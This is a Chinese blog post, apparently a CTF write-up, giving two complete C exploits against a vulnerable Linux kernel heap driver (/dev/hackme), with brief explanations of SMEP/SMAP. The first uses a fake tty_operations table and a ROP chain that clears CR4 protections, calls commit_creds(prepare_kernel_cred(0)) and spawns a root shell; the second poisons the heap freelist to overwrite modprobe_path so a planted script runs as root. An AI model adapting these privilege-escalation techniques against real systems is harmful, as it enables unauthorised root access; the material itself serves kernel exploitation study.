kernelheapbypasssmep,smap&&劫持modprobe_path

博客 动态
0 152
羽尘
羽尘 2022-05-14 23:59:13
悬赏:0 积分 收藏

kernel heap bypass smep,smap && 劫持modprobe_path

kernel heap bypass smep,smap && 劫持modprobe_path

exp1

smep:smep即用户数据不可执行,当 CPU 处于 ring0 模式时,执行用户空间的代码会触发页错误,系统根据CR4寄存器的第20位判断内核是否开启smep,为1时开启,为0时关闭(第21位是SMAP位)。
smap:smap用户数据不可访问。

通过控制cr4寄存器为0x6f0即可绕过。

#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>size_t vmlinux_base, off, commit_creds, prepare_kernel_cred;size_t user_cs, user_ss, user_sp, user_rflags;size_t raw_vmlinux_base = 0xffffffff81000000;size_t rop[0x100] = {0};int fd;struct Heap{    size_t index;    char *data;    size_t len;    size_t offset;};void add(int index, size_t len, char *data){	struct Heap heap;	heap.index = index;	heap.data = data;	heap.len = len;	ioctl(fd, 0x30000, &heap);}void delete(int index){	struct Heap heap;	heap.index = index;	ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){	struct Heap heap;	heap.index = index;	heap.data = data;	heap.len = len;	heap.offset = offset;	ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){	struct Heap heap;	heap.index = index;	heap.data = data;	heap.len = len;	heap.offset = offset;	ioctl(fd, 0x30003, &heap);}void save_status(){	__asm__(	"mov user_cs, cs;"	"mov user_ss, ss;"	"mov user_sp, rsp;"	"pushf;"	"pop user_rflags;"	);	puts("[+] save the state success!");}void get_shell(){	if (getuid() == 0)	{		puts("[*] get root");		system("/bin/sh");	}	else	{		puts("[-] get root error");		sleep(3);		exit(0);	}}void get_root(){	//commit_creds(prepare_kernel_cred(0))	void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;	void (*cc)(void *) = (void (*)(void *))commit_creds;	(*cc)((*pkc)(0));}int main(){	save_status();	char buf[0x1000] = {0};	size_t fake_tty_struct[4] = {0};	size_t fake_tty_operations[35] = {0};	fd = open("/dev/hackme",0);	if(fd < 0)	{		puts("[-] open file error");		sleep(3);		exit(0);	}	add(0, 0x2e0, buf); // 0	add(1, 0x2e0, buf); // 1	add(2, 0x100, buf); // 2	add(3, 0x100, buf); // 3	delete(0);	delete(2);	show(3, 0x100, -0x100, buf);	size_t heap_addr = ((size_t *)buf)[0] - 0x200;	printf("[+] heap_addr=> 0x%lx\n", heap_addr);		int fd_tty = open("/dev/ptmx",O_RDWR | O_NOCTTY);	if(fd_tty < 0)	{		puts("[-] open ptmx error");		sleep(3);		exit(0);	}		show(1, 0x400, -0x400, buf);	vmlinux_base = ((size_t *)buf)[3] - 0x625d80;	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);	off = vmlinux_base - raw_vmlinux_base;	commit_creds = off + 0xffffffff8104d220;	prepare_kernel_cred = off + 0xffffffff8104d3d0;	int i = 0;	rop[i++] = off + 0xffffffff8101b5a1; // pop rax; ret;	rop[i++] = 0x6f0;	rop[i++] = off + 0xffffffff8100252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;	rop[i++] = 0;	rop[i++] = (size_t)get_root;	rop[i++] = off + 0xffffffff81200c2e; // swapgs; popfq; pop rbp; ret; 	rop[i++] = 0;	rop[i++] = 0;	rop[i++] = off + 0xffffffff81019356; // iretq; pop rbp; ret;	rop[i++] = (size_t)get_shell;	rop[i++] = user_cs;	rop[i++] = user_rflags;	rop[i++] = user_sp;	rop[i++] = user_ss;		add(2, 0x100, (char *)rop);		fake_tty_operations[7] = off + 0xffffffff810608d5; // push rax; pop rsp; ret;	fake_tty_operations[0] = off + 0xffffffff810484f0; // pop rsp; ret;	fake_tty_operations[1] = heap_addr;	((size_t *)buf)[3] = heap_addr + 0x100;		delete(3);	add(3, 0x100, (char *)fake_tty_operations);	edit(1, 0x400, -0x400, buf);	write(fd_tty, "FXC", 3);	return 0;}

exp2

mod_tree:可以泄露驱动地址,当堆栈中找不到时可以来这里查找。

modprobe_path:当我们执行一个非法文件时,就会以root权限去执行modprobe_path所指向的文件,通常是指向/sbin/modprobe,如果改成我们创建的cat flag的文件,那么就可以拿到flag

#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <unistd.h>#include <fcntl.h>#include <sys/ioctl.h>#include <string.h>int fd;size_t heap_base, vmlinux_base, mod_tree, modprobe_path, ko_base, pool_addr;struct Heap{    size_t index;    char *data;    size_t len;    size_t offset;};void add(int index, size_t len, char *data){	struct Heap heap;	heap.index = index;	heap.data = data;	heap.len = len;	ioctl(fd, 0x30000, &heap);}void delete(int index){	struct Heap heap;	heap.index = index;	ioctl(fd, 0x30001, &heap);}void edit(int index, size_t len, size_t offset, char *data){	struct Heap heap;	heap.index = index;	heap.data = data;	heap.len = len;	heap.offset = offset;	ioctl(fd, 0x30002, &heap);}void show(int index, size_t len, size_t offset, char *data){	struct Heap heap;	heap.index = index;	heap.data = data;	heap.len = len;	heap.offset = offset;	ioctl(fd, 0x30003, &heap);}void get_flag(){	puts("[+] Prepare shell file.");	system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");	system("chmod +x /shell.sh");		puts("[+] Prepare trigger file.");	system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");	system("chmod +x /FXC");		system("cat /proc/sys/kernel/modprobe");	system("/FXC");	system("cat /flag");		sleep(5);}int main(){	fd = open("/dev/hackme",0);	if(fd < 0)	{		puts("[-] open file error");		sleep(3);		exit(0);	}	char buf[0x1000] = {0};		add(0, 0x100, buf); // 0	add(1, 0x100, buf); // 1	add(2, 0x100, buf); // 2	add(3, 0x100, buf); // 3	add(4, 0x100, buf); // 4	delete(1);	delete(3);	show(4, 0x100, -0x100, buf);	heap_base = ((size_t *)buf)[0] - 0x100;	printf("[+] heap_addr=> 0x%lx\n", heap_base);	show(0, 0x200, -0x200, buf);	vmlinux_base = ((size_t *)buf)[0] - 0x8472c0;	printf("[+] vmlinux_base=> 0x%lx\n", vmlinux_base);	mod_tree = vmlinux_base + 0x811000;	modprobe_path = vmlinux_base + 0x83f960;		memset(buf,'\x00',0x100);	((size_t  *)buf)[0] = mod_tree + 0x40;	edit(4, 0x100, -0x100, buf);		add(5, 0x100, buf); // 5	add(6, 0x100, buf); // 6	show(6, 0x40, -0x40, buf);	ko_base = ((size_t *)buf)[3];	printf("[+] ko_base=> 0x%lx\n", ko_base);	delete(2);	delete(5);	getchar();	((size_t  *)buf)[0] = ko_base + 0x2400 + 0xc0;	edit(4, 0x100, -0x100, buf);	add(7, 0x100, buf); // 7	add(8, 0x100, buf); // 8	((size_t  *)buf)[0] = modprobe_path;	((size_t  *)buf)[1] = 0x100;	edit(8, 0x10, 0, buf);	strncpy(buf, "/shell.sh\x00", 0xa);	edit(12, 0xa, 0, buf);	get_flag();	return 0;}
posted @ 2022-05-14 23:08 狒猩橙 阅读(6) 评论(0) 编辑 收藏 举报
回帖
    羽尘

    羽尘 (王者 段位)

    2335 积分 (2)粉丝 (11)源码

     

    温馨提示

    亦奇源码

    最新会员